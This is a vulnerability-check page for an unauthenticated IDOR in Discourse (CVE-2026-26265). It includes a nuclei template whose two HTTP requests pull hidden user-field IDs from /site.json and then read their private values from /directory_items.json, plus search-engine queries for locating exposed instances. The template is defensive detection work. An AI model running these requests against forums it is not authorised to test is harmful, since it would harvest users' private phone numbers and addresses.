Discourse - Private User Field Disclosure via Directory Items IDOR

highseverity

7.5CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.

Impact

Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses.

Fix

Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later.

How to confirm it

Send: GET /site.json
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "user_fields")
Send: GET /directory_items.json?period=all&user_field_ids={{uf_id}}
Positive when: status_code == 200 and contains(content_type, "json") and contains(body, "\"user_fields\":{\"" + uf_id + "\":")

Run it with nuclei: nuclei -id CVE-2026-26265 -u <target>

The full check

id: CVE-2026-26265

info:
  name: Discourse - Private User Field Disclosure via Directory Items IDOR
  author: str4k3r
  severity: high
  description: |
    Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.
  impact: |
    Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses.
  remediation: |
    Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-crxf-p6jm-vpgw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26265
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-26265
    epss-score: 0.01273
    epss-percentile: 0.70115
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: app="Discourse"
    zoomeye-query: app:"Discourse"
    hunter-query: web.title="Discourse"
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: |
  http(1);
  var id = template["uf_id"];
  if (Array.isArray(id)) set("uf_id", id[0]);
  if (template["uf_id"]) http(2);

http:
  - raw:
      - |
        GET /site.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "user_fields")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: uf_id
        internal: true
        part: body
        group: 1
        regex:
          - '"id":(\d+)[^{}]*?"show_on_(?:profile|user_card)":false'

  - raw:
      - |
        GET /directory_items.json?period=all&user_field_ids={{uf_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"user_fields\":{\"" + uf_id + "\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from